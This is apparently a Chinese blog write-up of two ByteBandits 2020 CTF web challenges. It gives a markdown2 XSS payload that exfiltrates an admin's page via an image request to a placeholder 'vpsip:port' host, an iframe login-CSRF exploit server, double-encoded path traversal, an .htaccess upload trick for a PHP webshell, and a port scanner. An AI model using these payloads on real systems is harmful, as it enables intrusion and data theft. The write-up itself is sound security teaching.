抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

这周末又当了波国际赛划水懒狗。看了几个比赛难度参差不齐。只有bytebandits的难度确实顶。当时看了下NotesApp没做出来就划水去了。所幸官方很贴心的给了docker的环境。现在把两道WEB复现下,都是很有价值的题目。

NotesAPP

这题复现的话有一个问题,就是要改下源码。一个是改bot的访问地址。再一个就是因为里面用了Googlecaptchakey,所以得换。但是我给自己的vps申请的key换了后还是不顶用。索性把相关的html跟python代码删掉了,姑且是能做了hhh.

首先题目给了源码。现在可以到官方github上看https://github.com/ByteBandits/bbctf-2020/tree/master/web/notes

简单审计后首先注意到一个markdown xss

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    if current_user.id == 'admin':
        return "Nope."
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")

登录进去后在/profile路由即可updatemarkdown内容。这里自然想到markdownxss。不过当时尝试了下并没有打出来。
因为这里用到的是markdown2这个库的safe_mode。html标签都会直接转义。
后来发现用到的是github上的一个issue.
https://github.com/trentm/python-markdown2/issues/341
safe_mode或者escape都有对应的xsspayload

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>


得到一个self-xss.

得到self-xss的第一步就是应该考虑如何提升xss的危害性。因为我们的题目还有一处/send_link路由明显是提交url后让bot进行访问。那么这里可能需要考虑csrf。
因为只有admin登录访问profile会得到flag。我们访问自己的profile只能得到自己的内容。
传统的CSRF一定是遵循以下原则的:

1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。

那么基于此题bot的存在,我们大概的流程是:

1.让bot访问profile,此时存在flag
2.logout
3.登录构造好payload的用户,并加载payload.得到admin的信息

但是存在几个细节:
如何控制bot登出并登录?
如何让我们的payload能够得到admin页面的信息?

仔细观察发现一个细节。当我们注册时,用户名与密码通过post方式请求。但是当我们登出再登录时,却是通过get请求进行登录。
因此先登出再登录的细节就解决了。
至于加载admin的信息,使用到的自然是经典的iframe xss 。原来总结CSP时用过。经典的利用就是:
一个同源页面,一个是CSP保护的flag页面A,一个是存在xss的页面B。只需要一个iframe就能窃取到flag.

var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);

此题并没有对iframe的限制。自然是可行的

所以构思后我们的payload应该是

1.提交url,让bot访问我们vps上的内容
2.先加载一个iframe去访问profile并登出
3.再加载一个iframe,通过url直接登录我们自建账号。触发payload

然而这题有个坑 注意到visit_link.py中

import asyncio
from pyppeteer import launch
from redis import Redis
from rq import Queue
import os
import psutil, signal


async def main(url):
    browser = await launch(headless=True,
                           executablePath="/usr/bin/chromium-browser",
                           args=['--no-sandbox', '--disable-gpu'])
    try:
        page = await browser.newPage()
        await page.goto("https://notes.web.byteband.it/login")
        await page.type("input[name='username']", "admin")
        await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
        await asyncio.wait([
            page.click('button'),
            page.waitForNavigation(),
        ])

        newPage = await browser.newPage()
        await newPage.goto(url)
    except Exception as e:
        raise e
    finally:
        await browser.close()


def visit_url(url):
    asyncio.get_event_loop().run_until_complete(main(url))

q = Queue(connection=Redis(host='redis'))

这串异步代码让admin只要访问了后立即退出。也就是说我们的payload并不会有时间触发。

因此需要额外设计,比如起一个flask控制bot访问时进行停顿,这样就有时间触发payload了。
下面是dalao的脚本

#!/usr/bin/env python3

import time

from http.server import BaseHTTPRequestHandler,HTTPServer

PORT_NUMBER = 8877

SERVER = "https://notes.web.byteband.it"

USERNAME = "abc"
PASSWORD = "123"

EXPLOIT = """
<html>
<body>
<script type='text/javascript'>
function loginUser() {{
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "{server}/login?username={username}&password={password}";
    iframe.sandbox = "allow-same-origin allow-scripts";
    document.body.appendChild(iframe);
}};

function logoutUser() {{
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.onload = loginUser;
    iframe.src = "{server}/logout";
    iframe.sandbox = "allow-same-origin allow-scripts";
    document.body.appendChild(iframe);
}};
</script>
<iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
</body>
</html>
""".format(server=SERVER, username=USERNAME, password=PASSWORD)


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(EXPLOIT.encode('utf-8'))
        time.sleep(10)  # keep open for some time for exploit to finish

myServer = HTTPServer(("0.0.0.0", PORT_NUMBER), MyServer)
print(time.asctime(), "Server Starts - %s:%s" % ("0.0.0.0", PORT_NUMBER))

try:
    myServer.serve_forever()
except KeyboardInterrupt:
    pass

myServer.server_close()
print(time.asctime(), "Server Stops - %s:%s" % ("0.0.0.0", PORT_NUMBER))

从这行代码就能看出主要流程跟之前构思的思路是一致的。
<iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
主要就是要sleep10s.
在vps上运行。然后我们用自己的abc用户updatepayload

<http://g<!s://q?<!-<[<script>(new Image).src = 'http://vpsip:port/?data=' + escape(parent.frames['iframe01'].document.body.getElementsByClassName("hero-body")[0].innerText);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

起到窃取iframe内容的作用,获取的内容源自hero-body这个class的内容。
最后url提交vpsip:port即可

解码即可发现flag

Howdy admin!
flag{ch41n_tHy_3Xploits_t0_w1n}

ImgAccess2

这题很有营养。首先上来一个文件上传。根据题意只能是图片,同时上传后进入到upload路由,并能通过/view/md5.../filename访问到自己的图片

那么当然要考虑文件上传getshell了。但是首先注意到,从题目的路由与cookie明显提醒我们这是python起的web服务。但是同时访问404时出现的是类似apache的404页面

并且路径上出现的是/view/xxxx而不是upload/xxxxx,也就意味着,我们需要找出真正的上传路径

尝试upload/xxx/1.jpg发现返回404

但是将upload改为uploads时发现可以访问到我们的上传图片了。

因此确定,真实的上传路径是uploads且可以访问到。
此时考虑是否能利用这个路径做些文章

相对容易想到的应该是路径穿越了,但尝试构造普通路径穿越失败。
不过路径穿越还有一种相对比较熟悉的绕过姿势。比如urlencode两次的路径穿越,(phpmyadmin4.8.1就曾出现过)
那么此处尝试对路径穿越进行二次url编码
../../../../../etc/passwd

import requests
from urllib.parse import quote_plus as urlencode

url='http://xxxxxxx:7003/uploads/'

filepath='../../../../../../etc/passwd'
filepath=urlencode(filepath)
filepath=urlencode(filepath)
r=requests.get(url+filepath)
print(r.text)

发现成功读取了/etc/passwd

接下来肯定是想要得到其他有用信息了,比如app.py的源码
想先读/proc/self/environ,发现没内容。但是不要紧,此时必然可行的方法是利用/proc/self/cwd指向当前工作目录的特性,直接读取app.py
/proc/self/cwd/app.py

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]

    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
    return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
    app.run(port=5000)

发现几个信息。首先是uploads路由里存在明显的提示。暗示我们/uploads_apache/路径

然后是文件名的检查。很奇怪的是文件名的白名单里有个s.之后先调用allowed_file()进行文件后缀检查,然后调用secure_filename()进行文件名检查
第一个函数只检查最后一个.后的后缀。而第二个函数将..替换为空
那么这必然存在绕过.联系到这是一个apache服务器,且只允许图片上传。考虑上传.htaccess进行getshell
同时为了绕过文件名,使用.htacces..s
第一个函数检查时判定后缀为s,在白名单内。
第二个函数将..替换为空,成功达到上传.htaccess的效果

内容
addtype application/x-httpd-php .jpg
成功上传,直接上传图片马getshell。

getshell后发现没有flag.比赛时题目有提示flag在secretserver:1337。所以方便直接下手。靶机没有curl,那就直接wget即可。

不过就算不知道提示也可以做,容器里有python3,那就肯定可以探测端口
从/etc/hosts得知ip为192.168.128.2.那就顺着探吧。
用上忘记从哪位大佬那嫖来的脚本,做buu时用过。

import socket
def foo():
    with open('active_port.txt','at') as f:
        for i in range(65535+1):
            ip = '192.168.128.3'
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip,i))
                s.close()
                f.writelines(str(i)+'\n')
            except socket.error:
                pass
        f.close()
    pass

if __name__ == '__main__':
    foo()
    print('ok')

也可以发现1337端口开放。
wget 192.168.128.3:1337得到index.html
其中内容提示了./flag.txt
直接wget 192.168.128.3:1337/flag.txt即可

References

https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/

评论